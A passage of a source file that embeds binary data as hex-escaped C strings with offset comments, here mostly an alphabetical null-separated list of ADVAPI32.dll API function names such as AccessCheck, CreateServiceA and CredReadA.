//................ /* 0032C0 */ "\x08\x02\x09\x02\x0A\x02\x0B\x02\x0C\x02\x0D\x02\x0E\x02\x0F\x02" //................ /* 0032E0 */ "\x10\x02\x11\x02\x12\x02\x13\x02\x14\x02\x15\x02\x16\x02\x17\x02" //................ /* 003300 */ "\x18\x02\x19\x02\x1A\x02\x1B\x02\x1C\x02\x1D\x02\x1E\x02\x1F\x02" //................ /* 003320 */ "\x20\x02\x21\x02\x22\x02\x23\x02\x24\x02\x25\x02\x26\x02\x27\x02" //..!.".#.$.%.&.'. /* 003340 */ "\x28\x02\x29\x02\x2A\x02\x2B\x02\x2C\x02\x2D\x02\x2E\x02\x2F\x02" //(.).*.+.,.-.../. /* 003360 */ "\x30\x02\x31\x02\x32\x02\x33\x02\x34\x02\x35\x02\x36\x02\x37\x02" //0.1.2.3.4.5.6.7. /* 003380 */ "\x38\x02\x39\x02\x3A\x02\x3B\x02\x3C\x02\x3D\x02\x3E\x02\x3F\x02" //8.9.:.;.<.=.>.?. /* 0033A0 */ "\x40\x02\x41\x02\x42\x02\x43\x02\x44\x02\x45\x02\x46\x02\x47\x02" //@.A.B.C.D.E.F.G. /* 0033C0 */ "\x48\x02\x49\x02\x4A\x02\x4B\x02\x4C\x02\x4D\x02\x4E\x02\x4F\x02" //H.I.J.K.L.M.N.O. /* 0033E0 */ "\x50\x02\x51\x02\x52\x02\x53\x02\x54\x02\x55\x02\x56\x02\x57\x02" //P.Q.R.S.T.U.V.W. /* 003400 */ "\x58\x02\x59\x02\x5A\x02\x5B\x02\x5C\x02\x5D\x02\x5E\x02\x5F\x02" //X.Y.Z.[.\.].^._. /* 003420 */ "\x60\x02\x61\x02\x62\x02\x63\x02\x64\x02\x65\x02\x66\x02\x67\x02" //`.a.b.c.d.e.f.g. /* 003440 */ "\x68\x02\x69\x02\x6A\x02\x6B\x02\x6C\x02\x6D\x02\x6E\x02\x6F\x02" //h.i.j.k.l.m.n.o. /* 003460 */ "\x70\x02\x71\x02\x72\x02\x73\x02\x74\x02\x75\x02\x76\x02\x77\x02" //p.q.r.s.t.u.v.w. /* 003480 */ "\x78\x02\x79\x02\x7A\x02\x7B\x02\x7C\x02\x7D\x02\x7E\x02\x7F\x02" //x.y.z.{.|.}.~... /* 0034A0 */ "\x80\x02\x81\x02\x82\x02\x83\x02\x84\x02\x85\x02\x86\x02\x87\x02" //................ /* 0034C0 */ "\x88\x02\x89\x02\x8A\x02\x8B\x02\x8C\x02\x8D\x02\x8E\x02\x8F\x02" //................ /* 0034E0 */ "\x90\x02\x91\x02\x92\x02\x93\x02\x94\x02\x95\x02\x96\x02\x97\x02" //................ /* 003500 */ "\x98\x02\x99\x02\x9A\x02\x9B\x02\x9C\x02\x9D\x02\x9E\x02\x9F\x02" //................ /* 003520 */ "\xA0\x02\xA1\x02\xA2\x02\xA3\x02\xA4\x02\x41\x44\x56\x41\x50\x49" //..........ADVAPI /* 003540 */ "\x33\x32\x2E\x64\x6C\x6C\x00\x41\x5F\x53\x48\x41\x46\x69\x6E\x61" //32.dll.A_SHAFina /* 003560 */ "\x6C\x00\x41\x5F\x53\x48\x41\x49\x6E\x69\x74\x00\x41\x5F\x53\x48" //l.A_SHAInit.A_SH /* 003580 */ "\x41\x55\x70\x64\x61\x74\x65\x00\x41\x62\x6F\x72\x74\x53\x79\x73" //AUpdate.AbortSys /* 0035A0 */ "\x74\x65\x6D\x53\x68\x75\x74\x64\x6F\x77\x6E\x41\x00\x41\x62\x6F" //temShutdownA.Abo /* 0035C0 */ "\x72\x74\x53\x79\x73\x74\x65\x6D\x53\x68\x75\x74\x64\x6F\x77\x6E" //rtSystemShutdown /* 0035E0 */ "\x57\x00\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x00\x41\x63" //W.AccessCheck.Ac /* 003600 */ "\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x41\x6E\x64\x41\x75\x64\x69" //cessCheckAndAudi /* 003620 */ "\x74\x41\x6C\x61\x72\x6D\x41\x00\x41\x63\x63\x65\x73\x73\x43\x68" //tAlarmA.AccessCh /* 003640 */ "\x65\x63\x6B\x41\x6E\x64\x41\x75\x64\x69\x74\x41\x6C\x61\x72\x6D" //eckAndAuditAlarm /* 003660 */ "\x57\x00\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x42\x79\x54" //W.AccessCheckByT /* 003680 */ "\x79\x70\x65\x00\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x42" //ype.AccessCheckB /* 0036A0 */ "\x79\x54\x79\x70\x65\x41\x6E\x64\x41\x75\x64\x69\x74\x41\x6C\x61" //yTypeAndAuditAla /* 0036C0 */ "\x72\x6D\x41\x00\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x42" //rmA.AccessCheckB /* 0036E0 */ "\x79\x54\x79\x70\x65\x41\x6E\x64\x41\x75\x64\x69\x74\x41\x6C\x61" //yTypeAndAuditAla /* 003700 */ "\x72\x6D\x57\x00\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x42" //rmW.AccessCheckB /* 003720 */ "\x79\x54\x79\x70\x65\x52\x65\x73\x75\x6C\x74\x4C\x69\x73\x74\x00" //yTypeResultList. /* 003740 */ "\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x42\x79\x54\x79\x70" //AccessCheckByTyp /* 003760 */ "\x65\x52\x65\x73\x75\x6C\x74\x4C\x69\x73\x74\x41\x6E\x64\x41\x75" //eResultListAndAu /* 003780 */ "\x64\x69\x74\x41\x6C\x61\x72\x6D\x41\x00\x41\x63\x63\x65\x73\x73" //ditAlarmA.Access /* 0037A0 */ "\x43\x68\x65\x63\x6B\x42\x79\x54\x79\x70\x65\x52\x65\x73\x75\x6C" //CheckByTypeResul /* 0037C0 */ "\x74\x4C\x69\x73\x74\x41\x6E\x64\x41\x75\x64\x69\x74\x41\x6C\x61" //tListAndAuditAla /* 0037E0 */ "\x72\x6D\x42\x79\x48\x61\x6E\x64\x6C\x65\x41\x00\x41\x63\x63\x65" //rmByHandleA.Acce /* 003800 */ "\x73\x73\x43\x68\x65\x63\x6B\x42\x79\x54\x79\x70\x65\x52\x65\x73" //ssCheckByTypeRes /* 003820 */ "\x75\x6C\x74\x4C\x69\x73\x74\x41\x6E\x64\x41\x75\x64\x69\x74\x41" //ultListAndAuditA /* 003840 */ "\x6C\x61\x72\x6D\x42\x79\x48\x61\x6E\x64\x6C\x65\x57\x00\x41\x63" //larmByHandleW.Ac /* 003860 */ "\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x42\x79\x54\x79\x70\x65\x52" //cessCheckByTypeR /* 003880 */ "\x65\x73\x75\x6C\x74\x4C\x69\x73\x74\x41\x6E\x64\x41\x75\x64\x69" //esultListAndAudi /* 0038A0 */ "\x74\x41\x6C\x61\x72\x6D\x57\x00\x41\x64\x64\x41\x63\x63\x65\x73" //tAlarmW.AddAcces /* 0038C0 */ "\x73\x41\x6C\x6C\x6F\x77\x65\x64\x41\x63\x65\x00\x41\x64\x64\x41" //sAllowedAce.AddA /* 0038E0 */ "\x63\x63\x65\x73\x73\x41\x6C\x6C\x6F\x77\x65\x64\x41\x63\x65\x45" //ccessAllowedAceE /* 003900 */ "\x78\x00\x41\x64\x64\x41\x63\x63\x65\x73\x73\x41\x6C\x6C\x6F\x77" //x.AddAccessAllow /* 003920 */ "\x65\x64\x4F\x62\x6A\x65\x63\x74\x41\x63\x65\x00\x41\x64\x64\x41" //edObjectAce.AddA /* 003940 */ "\x63\x63\x65\x73\x73\x44\x65\x6E\x69\x65\x64\x41\x63\x65\x00\x41" //ccessDeniedAce.A /* 003960 */ "\x64\x64\x41\x63\x63\x65\x73\x73\x44\x65\x6E\x69\x65\x64\x41\x63" //ddAccessDeniedAc /* 003980 */ "\x65\x45\x78\x00\x41\x64\x64\x41\x63\x63\x65\x73\x73\x44\x65\x6E" //eEx.AddAccessDen /* 0039A0 */ "\x69\x65\x64\x4F\x62\x6A\x65\x63\x74\x41\x63\x65\x00\x41\x64\x64" //iedObjectAce.Add /* 0039C0 */ "\x41\x63\x65\x00\x41\x64\x64\x41\x75\x64\x69\x74\x41\x63\x63\x65" //Ace.AddAuditAcce /* 0039E0 */ "\x73\x73\x41\x63\x65\x00\x41\x64\x64\x41\x75\x64\x69\x74\x41\x63" //ssAce.AddAuditAc /* 003A00 */ "\x63\x65\x73\x73\x41\x63\x65\x45\x78\x00\x41\x64\x64\x41\x75\x64" //cessAceEx.AddAud /* 003A20 */ "\x69\x74\x41\x63\x63\x65\x73\x73\x4F\x62\x6A\x65\x63\x74\x41\x63" //itAccessObjectAc /* 003A40 */ "\x65\x00\x41\x64\x64\x55\x73\x65\x72\x73\x54\x6F\x45\x6E\x63\x72" //e.AddUsersToEncr /* 003A60 */ "\x79\x70\x74\x65\x64\x46\x69\x6C\x65\x00\x41\x64\x6A\x75\x73\x74" //yptedFile.Adjust /* 003A80 */ "\x54\x6F\x6B\x65\x6E\x47\x72\x6F\x75\x70\x73\x00\x41\x64\x6A\x75" //TokenGroups.Adju /* 003AA0 */ "\x73\x74\x54\x6F\x6B\x65\x6E\x50\x72\x69\x76\x69\x6C\x65\x67\x65" //stTokenPrivilege /* 003AC0 */ "\x73\x00\x41\x6C\x6C\x6F\x63\x61\x74\x65\x41\x6E\x64\x49\x6E\x69" //s.AllocateAndIni /* 003AE0 */ "\x74\x69\x61\x6C\x69\x7A\x65\x53\x69\x64\x00\x41\x6C\x6C\x6F\x63" //tializeSid.Alloc /* 003B00 */ "\x61\x74\x65\x4C\x6F\x63\x61\x6C\x6C\x79\x55\x6E\x69\x71\x75\x65" //ateLocallyUnique /* 003B20 */ "\x49\x64\x00\x41\x72\x65\x41\x6C\x6C\x41\x63\x63\x65\x73\x73\x65" //Id.AreAllAccesse /* 003B40 */ "\x73\x47\x72\x61\x6E\x74\x65\x64\x00\x41\x72\x65\x41\x6E\x79\x41" //sGranted.AreAnyA /* 003B60 */ "\x63\x63\x65\x73\x73\x65\x73\x47\x72\x61\x6E\x74\x65\x64\x00\x42" //ccessesGranted.B /* 003B80 */ "\x61\x63\x6B\x75\x70\x45\x76\x65\x6E\x74\x4C\x6F\x67\x41\x00\x42" //ackupEventLogA.B /* 003BA0 */ "\x61\x63\x6B\x75\x70\x45\x76\x65\x6E\x74\x4C\x6F\x67\x57\x00\x42" //ackupEventLogW.B /* 003BC0 */ "\x75\x69\x6C\x64\x45\x78\x70\x6C\x69\x63\x69\x74\x41\x63\x63\x65" //uildExplicitAcce /* 003BE0 */ "\x73\x73\x57\x69\x74\x68\x4E\x61\x6D\x65\x41\x00\x42\x75\x69\x6C" //ssWithNameA.Buil /* 003C00 */ "\x64\x45\x78\x70\x6C\x69\x63\x69\x74\x41\x63\x63\x65\x73\x73\x57" //dExplicitAccessW /* 003C20 */ "\x69\x74\x68\x4E\x61\x6D\x65\x57\x00\x42\x75\x69\x6C\x64\x49\x6D" //ithNameW.BuildIm /* 003C40 */ "\x70\x65\x72\x73\x6F\x6E\x61\x74\x65\x45\x78\x70\x6C\x69\x63\x69" //personateExplici /* 003C60 */ "\x74\x41\x63\x63\x65\x73\x73\x57\x69\x74\x68\x4E\x61\x6D\x65\x41" //tAccessWithNameA /* 003C80 */ "\x00\x42\x75\x69\x6C\x64\x49\x6D\x70\x65\x72\x73\x6F\x6E\x61\x74" //.BuildImpersonat /* 003CA0 */ "\x65\x45\x78\x70\x6C\x69\x63\x69\x74\x41\x63\x63\x65\x73\x73\x57" //eExplicitAccessW /* 003CC0 */ "\x69\x74\x68\x4E\x61\x6D\x65\x57\x00\x42\x75\x69\x6C\x64\x49\x6D" //ithNameW.BuildIm /* 003CE0 */ "\x70\x65\x72\x73\x6F\x6E\x61\x74\x65\x54\x72\x75\x73\x74\x65\x65" //personateTrustee /* 003D00 */ "\x41\x00\x42\x75\x69\x6C\x64\x49\x6D\x70\x65\x72\x73\x6F\x6E\x61" //A.BuildImpersona /* 003D20 */ "\x74\x65\x54\x72\x75\x73\x74\x65\x65\x57\x00\x42\x75\x69\x6C\x64" //teTrusteeW.Build /* 003D40 */ "\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74" //SecurityDescript /* 003D60 */ "\x6F\x72\x41\x00\x42\x75\x69\x6C\x64\x53\x65\x63\x75\x72\x69\x74" //orA.BuildSecurit /* 003D80 */ "\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x57\x00\x42\x75\x69" //yDescriptorW.Bui /* 003DA0 */ "\x6C\x64\x54\x72\x75\x73\x74\x65\x65\x57\x69\x74\x68\x4E\x61\x6D" //ldTrusteeWithNam /* 003DC0 */ "\x65\x41\x00\x42\x75\x69\x6C\x64\x54\x72\x75\x73\x74\x65\x65\x57" //eA.BuildTrusteeW /* 003DE0 */ "\x69\x74\x68\x4E\x61\x6D\x65\x57\x00\x42\x75\x69\x6C\x64\x54\x72" //ithNameW.BuildTr /* 003E00 */ "\x75\x73\x74\x65\x65\x57\x69\x74\x68\x4F\x62\x6A\x65\x63\x74\x73" //usteeWithObjects /* 003E20 */ "\x41\x6E\x64\x4E\x61\x6D\x65\x41\x00\x42\x75\x69\x6C\x64\x54\x72" //AndNameA.BuildTr /* 003E40 */ "\x75\x73\x74\x65\x65\x57\x69\x74\x68\x4F\x62\x6A\x65\x63\x74\x73" //usteeWithObjects /* 003E60 */ "\x41\x6E\x64\x4E\x61\x6D\x65\x57\x00\x42\x75\x69\x6C\x64\x54\x72" //AndNameW.BuildTr /* 003E80 */ "\x75\x73\x74\x65\x65\x57\x69\x74\x68\x4F\x62\x6A\x65\x63\x74\x73" //usteeWithObjects /* 003EA0 */ "\x41\x6E\x64\x53\x69\x64\x41\x00\x42\x75\x69\x6C\x64\x54\x72\x75" //AndSidA.BuildTru /* 003EC0 */ "\x73\x74\x65\x65\x57\x69\x74\x68\x4F\x62\x6A\x65\x63\x74\x73\x41" //steeWithObjectsA /* 003EE0 */ "\x6E\x64\x53\x69\x64\x57\x00\x42\x75\x69\x6C\x64\x54\x72\x75\x73" //ndSidW.BuildTrus /* 003F00 */ "\x74\x65\x65\x57\x69\x74\x68\x53\x69\x64\x41\x00\x42\x75\x69\x6C" //teeWithSidA.Buil /* 003F20 */ "\x64\x54\x72\x75\x73\x74\x65\x65\x57\x69\x74\x68\x53\x69\x64\x57" //dTrusteeWithSidW /* 003F40 */ "\x00\x43\x61\x6E\x63\x65\x6C\x4F\x76\x65\x72\x6C\x61\x70\x70\x65" //.CancelOverlappe /* 003F60 */ "\x64\x41\x63\x63\x65\x73\x73\x00\x43\x68\x61\x6E\x67\x65\x53\x65" //dAccess.ChangeSe /* 003F80 */ "\x72\x76\x69\x63\x65\x43\x6F\x6E\x66\x69\x67\x32\x41\x00\x43\x68" //rviceConfig2A.Ch /* 003FA0 */ "\x61\x6E\x67\x65\x53\x65\x72\x76\x69\x63\x65\x43\x6F\x6E\x66\x69" //angeServiceConfi /* 003FC0 */ "\x67\x32\x57\x00\x43\x68\x61\x6E\x67\x65\x53\x65\x72\x76\x69\x63" //g2W.ChangeServic /* 003FE0 */ "\x65\x43\x6F\x6E\x66\x69\x67\x41\x00\x43\x68\x61\x6E\x67\x65\x53" //eConfigA.ChangeS /* 004000 */ "\x65\x72\x76\x69\x63\x65\x43\x6F\x6E\x66\x69\x67\x57\x00\x43\x68" //erviceConfigW.Ch /* 004020 */ "\x65\x63\x6B\x54\x6F\x6B\x65\x6E\x4D\x65\x6D\x62\x65\x72\x73\x68" //eckTokenMembersh /* 004040 */ "\x69\x70\x00\x43\x6C\x65\x61\x72\x45\x76\x65\x6E\x74\x4C\x6F\x67" //ip.ClearEventLog /* 004060 */ "\x41\x00\x43\x6C\x65\x61\x72\x45\x76\x65\x6E\x74\x4C\x6F\x67\x57" //A.ClearEventLogW /* 004080 */ "\x00\x43\x6C\x6F\x73\x65\x43\x6F\x64\x65\x41\x75\x74\x68\x7A\x4C" //.CloseCodeAuthzL /* 0040A0 */ "\x65\x76\x65\x6C\x00\x43\x6C\x6F\x73\x65\x45\x6E\x63\x72\x79\x70" //evel.CloseEncryp /* 0040C0 */ "\x74\x65\x64\x46\x69\x6C\x65\x52\x61\x77\x00\x43\x6C\x6F\x73\x65" //tedFileRaw.Close /* 0040E0 */ "\x45\x76\x65\x6E\x74\x4C\x6F\x67\x00\x43\x6C\x6F\x73\x65\x53\x65" //EventLog.CloseSe /* 004100 */ "\x72\x76\x69\x63\x65\x48\x61\x6E\x64\x6C\x65\x00\x43\x6C\x6F\x73" //rviceHandle.Clos /* 004120 */ "\x65\x54\x72\x61\x63\x65\x00\x43\x6F\x6D\x6D\x61\x6E\x64\x4C\x69" //eTrace.CommandLi /* 004140 */ "\x6E\x65\x46\x72\x6F\x6D\x4D\x73\x69\x44\x65\x73\x63\x72\x69\x70" //neFromMsiDescrip /* 004160 */ "\x74\x6F\x72\x00\x43\x6F\x6D\x70\x75\x74\x65\x41\x63\x63\x65\x73" //tor.ComputeAcces /* 004180 */ "\x73\x54\x6F\x6B\x65\x6E\x46\x72\x6F\x6D\x43\x6F\x64\x65\x41\x75" //sTokenFromCodeAu /* 0041A0 */ "\x74\x68\x7A\x4C\x65\x76\x65\x6C\x00\x43\x6F\x6E\x74\x72\x6F\x6C" //thzLevel.Control /* 0041C0 */ "\x53\x65\x72\x76\x69\x63\x65\x00\x43\x6F\x6E\x74\x72\x6F\x6C\x54" //Service.ControlT /* 0041E0 */ "\x72\x61\x63\x65\x41\x00\x43\x6F\x6E\x74\x72\x6F\x6C\x54\x72\x61" //raceA.ControlTra /* 004200 */ "\x63\x65\x57\x00\x43\x6F\x6E\x76\x65\x72\x74\x41\x63\x63\x65\x73" //ceW.ConvertAcces /* 004220 */ "\x73\x54\x6F\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72" //sToSecurityDescr /* 004240 */ "\x69\x70\x74\x6F\x72\x41\x00\x43\x6F\x6E\x76\x65\x72\x74\x41\x63" //iptorA.ConvertAc /* 004260 */ "\x63\x65\x73\x73\x54\x6F\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65" //cessToSecurityDe /* 004280 */ "\x73\x63\x72\x69\x70\x74\x6F\x72\x57\x00\x43\x6F\x6E\x76\x65\x72" //scriptorW.Conver /* 0042A0 */ "\x74\x53\x44\x54\x6F\x53\x74\x72\x69\x6E\x67\x53\x44\x52\x6F\x6F" //tSDToStringSDRoo /* 0042C0 */ "\x74\x44\x6F\x6D\x61\x69\x6E\x41\x00\x43\x6F\x6E\x76\x65\x72\x74" //tDomainA.Convert /* 0042E0 */ "\x53\x44\x54\x6F\x53\x74\x72\x69\x6E\x67\x53\x44\x52\x6F\x6F\x74" //SDToStringSDRoot /* 004300 */ "\x44\x6F\x6D\x61\x69\x6E\x57\x00\x43\x6F\x6E\x76\x65\x72\x74\x53" //DomainW.ConvertS /* 004320 */ "\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F" //ecurityDescripto /* 004340 */ "\x72\x54\x6F\x41\x63\x63\x65\x73\x73\x41\x00\x43\x6F\x6E\x76\x65" //rToAccessA.Conve /* 004360 */ "\x72\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69" //rtSecurityDescri /* 004380 */ "\x70\x74\x6F\x72\x54\x6F\x41\x63\x63\x65\x73\x73\x4E\x61\x6D\x65" //ptorToAccessName /* 0043A0 */ "\x64\x41\x00\x43\x6F\x6E\x76\x65\x72\x74\x53\x65\x63\x75\x72\x69" //dA.ConvertSecuri /* 0043C0 */ "\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x54\x6F\x41\x63" //tyDescriptorToAc /* 0043E0 */ "\x63\x65\x73\x73\x4E\x61\x6D\x65\x64\x57\x00\x43\x6F\x6E\x76\x65" //cessNamedW.Conve /* 004400 */ "\x72\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69" //rtSecurityDescri /* 004420 */ "\x70\x74\x6F\x72\x54\x6F\x41\x63\x63\x65\x73\x73\x57\x00\x43\x6F" //ptorToAccessW.Co /* 004440 */ "\x6E\x76\x65\x72\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73" //nvertSecurityDes /* 004460 */ "\x63\x72\x69\x70\x74\x6F\x72\x54\x6F\x53\x74\x72\x69\x6E\x67\x53" //criptorToStringS /* 004480 */ "\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F" //ecurityDescripto /* 0044A0 */ "\x72\x41\x00\x43\x6F\x6E\x76\x65\x72\x74\x53\x65\x63\x75\x72\x69" //rA.ConvertSecuri /* 0044C0 */ "\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x54\x6F\x53\x74" //tyDescriptorToSt /* 0044E0 */ "\x72\x69\x6E\x67\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63" //ringSecurityDesc /* 004500 */ "\x72\x69\x70\x74\x6F\x72\x57\x00\x43\x6F\x6E\x76\x65\x72\x74\x53" //riptorW.ConvertS /* 004520 */ "\x69\x64\x54\x6F\x53\x74\x72\x69\x6E\x67\x53\x69\x64\x41\x00\x43" //idToStringSidA.C /* 004540 */ "\x6F\x6E\x76\x65\x72\x74\x53\x69\x64\x54\x6F\x53\x74\x72\x69\x6E" //onvertSidToStrin /* 004560 */ "\x67\x53\x69\x64\x57\x00\x43\x6F\x6E\x76\x65\x72\x74\x53\x74\x72" //gSidW.ConvertStr /* 004580 */ "\x69\x6E\x67\x53\x44\x54\x6F\x53\x44\x44\x6F\x6D\x61\x69\x6E\x41" //ingSDToSDDomainA /* 0045A0 */ "\x00\x43\x6F\x6E\x76\x65\x72\x74\x53\x74\x72\x69\x6E\x67\x53\x44" //.ConvertStringSD /* 0045C0 */ "\x54\x6F\x53\x44\x44\x6F\x6D\x61\x69\x6E\x57\x00\x43\x6F\x6E\x76" //ToSDDomainW.Conv /* 0045E0 */ "\x65\x72\x74\x53\x74\x72\x69\x6E\x67\x53\x44\x54\x6F\x53\x44\x52" //ertStringSDToSDR /* 004600 */ "\x6F\x6F\x74\x44\x6F\x6D\x61\x69\x6E\x41\x00\x43\x6F\x6E\x76\x65" //ootDomainA.Conve /* 004620 */ "\x72\x74\x53\x74\x72\x69\x6E\x67\x53\x44\x54\x6F\x53\x44\x52\x6F" //rtStringSDToSDRo /* 004640 */ "\x6F\x74\x44\x6F\x6D\x61\x69\x6E\x57\x00\x43\x6F\x6E\x76\x65\x72" //otDomainW.Conver /* 004660 */ "\x74\x53\x74\x72\x69\x6E\x67\x53\x65\x63\x75\x72\x69\x74\x79\x44" //tStringSecurityD /* 004680 */ "\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x54\x6F\x53\x65\x63\x75\x72" //escriptorToSecur /* 0046A0 */ "\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x41\x00\x43" //ityDescriptorA.C /* 0046C0 */ "\x6F\x6E\x76\x65\x72\x74\x53\x74\x72\x69\x6E\x67\x53\x65\x63\x75" //onvertStringSecu /* 0046E0 */ "\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x54\x6F" //rityDescriptorTo /* 004700 */ "\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74" //SecurityDescript /* 004720 */ "\x6F\x72\x57\x00\x43\x6F\x6E\x76\x65\x72\x74\x53\x74\x72\x69\x6E" //orW.ConvertStrin /* 004740 */ "\x67\x53\x69\x64\x54\x6F\x53\x69\x64\x41\x00\x43\x6F\x6E\x76\x65" //gSidToSidA.Conve /* 004760 */ "\x72\x74\x53\x74\x72\x69\x6E\x67\x53\x69\x64\x54\x6F\x53\x69\x64" //rtStringSidToSid /* 004780 */ "\x57\x00\x43\x6F\x6E\x76\x65\x72\x74\x54\x6F\x41\x75\x74\x6F\x49" //W.ConvertToAutoI /* 0047A0 */ "\x6E\x68\x65\x72\x69\x74\x50\x72\x69\x76\x61\x74\x65\x4F\x62\x6A" //nheritPrivateObj /* 0047C0 */ "\x65\x63\x74\x53\x65\x63\x75\x72\x69\x74\x79\x00\x43\x6F\x70\x79" //ectSecurity.Copy /* 0047E0 */ "\x53\x69\x64\x00\x43\x72\x65\x61\x74\x65\x43\x6F\x64\x65\x41\x75" //Sid.CreateCodeAu /* 004800 */ "\x74\x68\x7A\x4C\x65\x76\x65\x6C\x00\x43\x72\x65\x61\x74\x65\x50" //thzLevel.CreateP /* 004820 */ "\x72\x69\x76\x61\x74\x65\x4F\x62\x6A\x65\x63\x74\x53\x65\x63\x75" //rivateObjectSecu /* 004840 */ "\x72\x69\x74\x79\x00\x43\x72\x65\x61\x74\x65\x50\x72\x69\x76\x61" //rity.CreatePriva /* 004860 */ "\x74\x65\x4F\x62\x6A\x65\x63\x74\x53\x65\x63\x75\x72\x69\x74\x79" //teObjectSecurity /* 004880 */ "\x45\x78\x00\x43\x72\x65\x61\x74\x65\x50\x72\x69\x76\x61\x74\x65" //Ex.CreatePrivate /* 0048A0 */ "\x4F\x62\x6A\x65\x63\x74\x53\x65\x63\x75\x72\x69\x74\x79\x57\x69" //ObjectSecurityWi /* 0048C0 */ "\x74\x68\x4D\x75\x6C\x74\x69\x70\x6C\x65\x49\x6E\x68\x65\x72\x69" //thMultipleInheri /* 0048E0 */ "\x74\x61\x6E\x63\x65\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63" //tance.CreateProc /* 004900 */ "\x65\x73\x73\x41\x73\x55\x73\x65\x72\x41\x00\x43\x72\x65\x61\x74" //essAsUserA.Creat /* 004920 */ "\x65\x50\x72\x6F\x63\x65\x73\x73\x41\x73\x55\x73\x65\x72\x53\x65" //eProcessAsUserSe /* 004940 */ "\x63\x75\x72\x65\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65" //cure.CreateProce /* 004960 */ "\x73\x73\x41\x73\x55\x73\x65\x72\x57\x00\x43\x72\x65\x61\x74\x65" //ssAsUserW.Create /* 004980 */ "\x50\x72\x6F\x63\x65\x73\x73\x57\x69\x74\x68\x4C\x6F\x67\x6F\x6E" //ProcessWithLogon /* 0049A0 */ "\x57\x00\x43\x72\x65\x61\x74\x65\x52\x65\x73\x74\x72\x69\x63\x74" //W.CreateRestrict /* 0049C0 */ "\x65\x64\x54\x6F\x6B\x65\x6E\x00\x43\x72\x65\x61\x74\x65\x53\x65" //edToken.CreateSe /* 0049E0 */ "\x72\x76\x69\x63\x65\x41\x00\x43\x72\x65\x61\x74\x65\x53\x65\x72" //rviceA.CreateSer /* 004A00 */ "\x76\x69\x63\x65\x57\x00\x43\x72\x65\x61\x74\x65\x54\x72\x61\x63" //viceW.CreateTrac /* 004A20 */ "\x65\x49\x6E\x73\x74\x61\x6E\x63\x65\x49\x64\x00\x43\x72\x65\x61" //eInstanceId.Crea /* 004A40 */ "\x74\x65\x57\x65\x6C\x6C\x4B\x6E\x6F\x77\x6E\x53\x69\x64\x00\x43" //teWellKnownSid.C /* 004A60 */ "\x72\x65\x64\x44\x65\x6C\x65\x74\x65\x41\x00\x43\x72\x65\x64\x44" //redDeleteA.CredD /* 004A80 */ "\x65\x6C\x65\x74\x65\x57\x00\x43\x72\x65\x64\x45\x6E\x75\x6D\x65" //eleteW.CredEnume /* 004AA0 */ "\x72\x61\x74\x65\x41\x00\x43\x72\x65\x64\x45\x6E\x75\x6D\x65\x72" //rateA.CredEnumer /* 004AC0 */ "\x61\x74\x65\x57\x00\x43\x72\x65\x64\x46\x72\x65\x65\x00\x43\x72" //ateW.CredFree.Cr /* 004AE0 */ "\x65\x64\x47\x65\x74\x53\x65\x73\x73\x69\x6F\x6E\x54\x79\x70\x65" //edGetSessionType /* 004B00 */ "\x73\x00\x43\x72\x65\x64\x47\x65\x74\x54\x61\x72\x67\x65\x74\x49" //s.CredGetTargetI /* 004B20 */ "\x6E\x66\x6F\x41\x00\x43\x72\x65\x64\x47\x65\x74\x54\x61\x72\x67" //nfoA.CredGetTarg /* 004B40 */ "\x65\x74\x49\x6E\x66\x6F\x57\x00\x43\x72\x65\x64\x49\x73\x4D\x61" //etInfoW.CredIsMa /* 004B60 */ "\x72\x73\x68\x61\x6C\x65\x64\x43\x72\x65\x64\x65\x6E\x74\x69\x61" //rshaledCredentia /* 004B80 */ "\x6C\x41\x00\x43\x72\x65\x64\x49\x73\x4D\x61\x72\x73\x68\x61\x6C" //lA.CredIsMarshal /* 004BA0 */ "\x65\x64\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x57\x00\x43\x72" //edCredentialW.Cr /* 004BC0 */ "\x65\x64\x4D\x61\x72\x73\x68\x61\x6C\x43\x72\x65\x64\x65\x6E\x74" //edMarshalCredent /* 004BE0 */ "\x69\x61\x6C\x41\x00\x43\x72\x65\x64\x4D\x61\x72\x73\x68\x61\x6C" //ialA.CredMarshal /* 004C00 */ "\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x57\x00\x43\x72\x65\x64" //CredentialW.Cred /* 004C20 */ "\x50\x72\x6F\x66\x69\x6C\x65\x4C\x6F\x61\x64\x65\x64\x00\x43\x72" //ProfileLoaded.Cr /* 004C40 */ "\x65\x64\x52\x65\x61\x64\x41\x00\x43\x72\x65\x64\x52\x65\x61\x64" //edReadA.CredRead /* 004C60 */ "\x44\x6F\x6D\x61\x69\x6E\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C" //DomainCredential /* 004C80 */ "\x73\x41\x00\x43\x72\x65\x64\x52\x65\x61\x64\x44\x6F\x6D\x61\x69" 